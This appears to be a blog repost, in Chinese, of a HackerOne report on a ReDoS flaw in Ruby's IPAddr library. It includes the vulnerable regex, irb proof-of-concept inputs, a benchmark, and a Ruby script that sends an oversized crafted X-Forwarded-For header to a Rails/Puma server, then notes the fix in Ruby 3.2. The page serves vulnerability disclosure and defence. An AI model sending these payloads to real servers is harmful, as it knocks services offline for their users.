Ruby IPAddr 正则表达式拒绝服务漏洞(ReDoS)分析与修复

本文详细分析了Ruby IPAddr库中存在的正则表达式拒绝服务漏洞(ReDoS),包括漏洞成因、影响范围、PoC示例、性能基准测试,以及Rails框架中的潜在攻击向量,并提供了修复状态和版本更新信息。

Ruby | 报告 #1485717 - IPAddr 中的 ReDoS 漏洞 | HackerOne

漏洞概述

在 Ruby 的 IPAddr 库中发现了一个正则表达式拒绝服务(ReDoS)漏洞。该漏洞源于 IPAddr.new 方法中使用的正则表达式模式 /\A(0|[1-9]+\d*)\z/,在处理特定构造的输入时会导致性能急剧下降。

漏洞详情

漏洞代码位置

https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L525

1
2
3
4
5
6
def mask!(mask)
  case mask
  when String
    case mask
    when /\A(0|[1-9]+\d*)\z/
      prefixlen = mask.to_i

正则表达式 /\A(0|[1-9]+\d*)\z/ 存在漏洞,该结果由 recheck 工具检测确认(https://makenowjust-labs.github.io/recheck/)。

相关代码

https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L628

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
def initialize(addr = '::', family = Socket::AF_UNSPEC)
  ...
  prefix, prefixlen = addr.split('/', 2)
  if prefix =~ /\A(.*)(%\w+)\z/
    prefix = $1
    zone_id = $2
    family = Socket::AF_INET6
  end
  ...
  if prefixlen
    mask!(prefixlen)
  else
    @mask_addr = (@family == Socket::AF_INET) ? IN4MASK : IN6MASK
  end
end

mask! 方法在 IPAddr.new 中被调用。

漏洞验证(PoC)

1
2
3
4
5
6
7
8
 ruby -v
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]

 irb
irb(main):001:0> require 'time'
=> true
irb(main):002:0> IPAddr.new("0.0.0.0/" + '1' * 50000 + '.')
# => ReDoS (and raise ArgumentError)

该漏洞也影响 coerce_other 方法,因此会影响其他相关方法:

1
2
3
4
IPAddr.new("192.168.2.0/24").include?("0.0.0.0/" + '1' * 50000 + '.' )
IPAddr.new("192.168.2.0/24") == "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") | "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") & "0.0.0.0/" + '1' * 50000 + '.'

性能基准测试

ipaddr_benchmark.rb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
require 'benchmark'
require 'ipaddr'

def ipaddr_new(length)
  text = "0.0.0.0/" + '1' * length + '.'
  IPAddr.new(text)
rescue IPAddr::InvalidAddressError
  nil
end

Benchmark.bm do |x|
  x.report { ipaddr_new(100) }
  x.report { ipaddr_new(1000) }
  x.report { ipaddr_new(10000) }
  x.report { ipaddr_new(100000) }
end

测试结果:

1
2
3
4
5
6
❯ bundle exec ruby ipaddr_benchmark.rb
       user     system      total        real
   0.000056   0.000003   0.000059 (  0.000055)
   0.002921   0.000003   0.002924 (  0.002968)
   0.300863   0.000694   0.301557 (  0.302580)
  31.050866   0.103006  31.153872 ( 31.255489)

Rails 框架影响

由于 ActionDispatch::RemoteIp 使用了该功能,可以通过自定义标头进行攻击。

https://github.com/rails/rails/blob/v7.0.2.2/actionpack/lib/action_dispatch/middleware/remote_ip.rb#L172

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
private
def ips_from(header) # :doc:
  return [] unless header
  # Split the comma-separated list into an array of strings.
  ips = header.strip.split(/[,\s]+/)
  ips.select do |ip|
    # Only return IPs that are valid according to the IPAddr#new method.
    range = IPAddr.new(ip).to_range
    # We want to make sure nobody is sneaking a netmask in.
    range.begin == range.end
  rescue ArgumentError
    nil
  end
end

Rails PoC

创建 Rails 服务器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
❯ rails new rails_server -G -M -O -C -A -J -T

❯ cd rails_server

❯ bundle exec rails s
=> Booting Puma
=> Rails 7.0.2.2 application starting in development
=> Run `bin/rails server --help` for more startup options
Puma starting in single mode...
* Puma version: 5.6.2 (ruby 3.1.1-p18) ("Birdie's Version")
*  Min threads: 5
*  Max threads: 5
*  Environment: development
*          PID: 13989
* Listening on http://127.0.0.1:3000
* Listening on http://[::1]:3000

ipaddr_request.rb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
require 'net/http'

url = URI.parse('http://127.0.0.1:3000/')

req = Net::HTTP::Get.new(url.path)

req['X-Forwarded-For'] = "0.0.0.0/" + '1' * 80000 + '.'

res = Net::HTTP.start(url.host, url.port) {|http|
  http.request(req)
}

执行时间:

1
2
❯ time bundle exec ruby ipaddr_request.rb
bundle exec ruby ipaddr_request.rb  0.18s user 0.08s system 0% cpu 40.302 total

影响范围

当 IPAddr.new 接受用户输入时会发生 ReDoS 攻击。

Rails 默认使用 ActionDispatch::RemoteIp,因此可以通过客户端请求进行攻击。

如果使用 nginx 等,标头长度限制约为 8k 字节,因此受影响较小(https://stackoverflow.com/questions/686217/maximum-on-http-header-values)。

另一方面,Puma 容易受到影响,因为它可以使用高达 80 * 1024 的标头长度。

修复状态

Ruby 3.2.0 基准测试

ReDoS 不再发生:

1
2
3
4
5
6
7
# Ruby 3.2.0
❯ bundle exec ruby ipaddr_benchmark.rb
       user     system      total        real
   0.000033   0.000001   0.000034 (  0.000031)
   0.000056   0.000077   0.000133 (  0.000134)
   0.000385   0.000050   0.000435 (  0.000435)
   0.003579   0.000456   0.004035 (  0.004035)

Ruby 3.3.0 基准测试

ReDoS 不再发生:

1
2
3
4
5
6
7
8
# Ruby 3.3.0

❯ ruby ipaddr_benchmark.rb
       user     system      total        real
   0.000044   0.000008   0.000052 (  0.000051)
   0.000073   0.000007   0.000080 (  0.000079)
   0.000565   0.000050   0.000615 (  0.000614)
   0.005460   0.000551   0.006011 (  0.006022)

解决方案

该问题已通过 Ruby 3.2 的正则表达式优化得到解决,且 Ruby 3.1 现已终止支持(EOL)。无需进一步处理。

报告状态:已解决(Resolved) 披露时间:2025年7月8日 CVE ID:无 赏金:无

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计